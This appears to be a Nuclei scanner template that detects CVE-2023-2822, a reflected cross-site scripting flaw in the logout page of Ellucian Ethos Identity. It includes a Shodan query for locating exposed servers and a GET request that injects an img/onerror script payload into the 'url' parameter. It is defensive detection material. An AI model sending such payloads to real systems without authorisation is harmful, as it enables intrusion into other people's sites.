id: CVE-2023-2822

info:
  name: Ellucian Ethos Identity CAS - Cross-Site Scripting
  author: Guax1
  severity: medium
  description: |
    A vulnerability was found in Ellucian Ethos Identity up to 5.10.5. It has been classified as problematic. Affected is an unknown function of the file /cas/logout. The manipulation of the argument url leads to cross site scripting. It is possible to launch the attack remotely.
  reference:
    - https://medium.com/@cyberninja717/685bb1675dfb
    - https://medium.com/@cyberninja717/reflected-cross-site-scripting-vulnerability-in-ellucian-ethos-identity-cas-logout-page-685bb1675dfb
    - https://vuldb.com/?ctiid.229596
    - https://vuldb.com/?id.229596
  remediation: Upgrading to version 5.10.6 is able to address this issue. It is recommended to upgrade the affected component.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2822
    cwe-id: CWE-79
    epss-score: 0.01934
    cpe: cpe:2.3:a:ellucian:ethos_identity:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: html:"Ellucian Company"
    google-query: "login with ellucian ethos identity"
    vendor: ellucian
    product: ethos_identity
  tags: cve,cve2023,cas,xss,ellucian

http:
  - method: GET
    path:
      - '{{BaseURL}}/cas/logout?url=https://oast.pro"><img%20src=x%20onerror=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'Identity Server'
        condition: and

      - type: status
        status:
          - 200